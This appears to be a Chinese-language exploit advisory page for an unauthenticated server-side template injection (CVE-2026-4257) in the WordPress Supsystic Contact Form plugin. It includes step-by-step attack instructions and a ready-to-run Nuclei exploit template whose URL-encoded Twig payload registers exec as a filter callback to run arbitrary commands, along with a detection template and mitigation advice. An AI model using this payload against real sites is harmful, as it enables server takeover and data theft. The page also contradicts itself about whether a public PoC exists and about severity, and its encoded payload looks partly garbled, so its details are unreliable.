[webapps] WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

CVE-2026-4257

WordPress Supsystic Contact Form插件1.7.36及之前版本存在SSTI漏洞,可导致远程代码执行。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-4257
漏洞类型服务器端模板注入
受影响版本WordPress Plugin Supsystic Contact Form <= 1.7.36
危害等级Critical · CVSS 9.8
发布日期2026-05-14
提交者bootstrapbool
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在cfsPreFill参数处理中,用户控制的输入被直接拼接进Twig模板引擎的模板字符串,未经过滤或转义,导致攻击者可通过构造Twig语法(如set、_self.env.registerUndefinedFilterCallback)实现任意PHP过滤器调用,进而执行系统命令。

🎯 攻击场景

1. 前置条件:目标WordPress站点已安装并激活Supsystic Contact Form <= 1.7.36,且存在一个包含Text/Textarea/Number/Email/Time/URL类型字段的Contact Form页面。2. 攻击步骤:a) 获取或自动检测表单中支持注入的字段名(如first_name),通过正则匹配data-name属性;b) 构造恶意Twig payload:定义编码变量、Base64编码待执行命令、利用convert_encoding解码、注册undefinedFilterCallback为exec、调用getFilter触发执行;c) 向表单页面发送GET请求,附加参数cfsPreFill=1及字段名=payload;d) 服务端在渲染表单预填值时执行Twig模板,导致命令执行;e) 从响应中提取字段对应的value属性值获得输出。3. 成功标志:输出为命令执行结果。

💥 漏洞影响

未经身份验证的攻击者可以利用此漏洞在目标WordPress服务器上任意执行系统命令,实现完全远程代码执行,可能导致服务器被控制、数据泄露、网站篡改等严重后果。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-4257-exploit

info:
  name: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI Exploit
  author: bootstrapbool
  severity: high
  description: SSTI vulnerability exploitation in WordPress Supsystic Contact Form plugin version <= 1.7.36
  tags: wordpress,wp-plugin,ssti,supsystic-contact-form,rce

http:
  - raw:
      - |
        GET {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: field_name
        part: body
        group: 1
        regex:
          - 'data-name="([^"]+)"'

      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'suptablesui\.min\.css\?ver=([0-9\.]+)'

  - raw:
      - |
        GET {{BaseURL}}?cfsPreFill=1&{%25%73%65%74%25%61%25%7D%55%54%46%2D%38%7B%25%65%6E%64%73%65%74%25%7D%7B%25%73%65%74%25%62%25%7D%42%41%53%45%36%34%7B%25%65%6E%64%73%65%74%25%7D%7B%25%73%65%74%25%70%25%7D%5A%47%56%79%63%33%52%68%62%43%42%6C%65%47%55%67%63%33%52%6C%5A%47%56%79%5A%51%70%39%6A%62%47%56%6A%59%32%56%7A%64%32%56%79%4C%6E%4E%6C%63%6E%4E%6C%62%32%4E%79%63%33%52%68%62%43%42%31%63%6D%56%75%5A%47%56%69%61%57%39%75%63%79%42%7A%65%57%39%31%62%47%56%6C%5A%47%56%79%65%53%42%6A%62%47%56%6A%59%32%56%7A%64%32%56%79%4C%6D%4E%76%62%6D%52%70%62%6D%56%30%61%57%39%75%4C%6D%6C%75%5A%47%56%75%64%57%39%79%62%33%56%79%5A%6E%56%76%59%33%52%70%62%6D%56%30%61%57%39%75%59%32%39%75%5A%47%6C%75%5A%58%52%70%62%32%35%6A%62%32%35%6B%61%57%35%6C%64%47%6C%76%62%6D%4E%76%62%6D%52%70%62%6D%56%30%61%57%39%75%4C%6D%56%30%63%6D%39%76%62%47%46%69%61%57%39%75%4F%67%70%39%7B%25%65%6E%64%73%65%74%25%7D%7B%25%73%65%74%25%70%20%3D%20%70%7C%63%6F%6E%76%65%72%74%5F%65%6E%63%6F%64%69%6E%67%28%28%61%29%2C%20%28%62%29%29%25%7D%7B%25%73%65%74%25%65%25%7D%65%78%65%63%7B%25%65%6E%64%73%65%74%25%7D%7B%7B%5F%73%65%6C%66%2E%65%6E%76%2E%72%65%67%69%73%74%65%72%55%6E%64%65%66%69%6E%65%64%46%69%6C%74%65%72%43%61%6C%6C%62%61%63%6B%28%65%7C%6C%6F%77%65%72%29%7D%7D%7B%7B%5F%73%65%6C%66%2E%65%6E%76%2E%67%65%74%46%69%6C%74%65%72%28%70%29%7D%7D&{{field_name}}={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      cmd:
        - id

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "root:"
          - "www-data"

    extractors:
      - type: regex
        name: output
        part: body
        group: 1
        regex:
          - 'name="fields\[[^\]]+\]"\s+value="([^"]+)"'

🔬 深度技术分析

PoC利用Python实现。1. get_page()获取目标页面HTML。2. detect_version()通过正则从suptablesui.min.css?ver=提取插件版本,判断是否<=1.7.36。3. detect_fields()通过正则data-name=提取表单字段名列表。4. handle_field()若未指定字段则自动选取第一个可用字段。5. exploit()构造Twig payload:a) utf8_var定义UTF-8字符串;b) base64_var定义BASE64字符串;c) twig_payload将命令Base64编码后用Twig set赋值;d) twig_payload_decode利用convert_encoding过滤器将Base64解码为原始命令;e) register_callback利用_self.env.registerUndefinedFilterCallback设置exec回调;f) exec_filter通过_self.env.getFilter(p)触发回调执行命令;g) 将payload作为GET参数field值发送;h) get_output()从响应字符串匹配name="fields[field]" value="..."提取结果。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-4257-detection

info:
  name: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI Detection
  author: bootstrapbool
  severity: high
  description: Detection of SSTI vulnerability in WordPress Supsystic Contact Form plugin version <= 1.7.36
  tags: wordpress,wp-plugin,ssti,supsystic-contact-form

http:
  - raw:
      - |
        GET {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "supsystic-contact-form"
        part: body

      - type: regex
        part: body
        regex:
          - 'supsystic-contact-form/.*?style\.css'
          - 'contact-form-by-supsystic'

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'supsystic-contact-form/[^/]+/css/suptablesui\.min\.css\?ver=([0-9\.]+)'
          - 'supsystic-contact-form\?ver=([0-9\.]+)'

    stop-at-first-match: true

🛡️ 修复建议

官方尚未发布补丁;临时缓解措施包括:禁用Supsystic Contact Form插件,或通过Web应用防火墙(WAF)拦截包含Twig语法(如{%set%、{{_self.env)的请求参数,或禁用PHP的exec函数。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-20 08:08 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)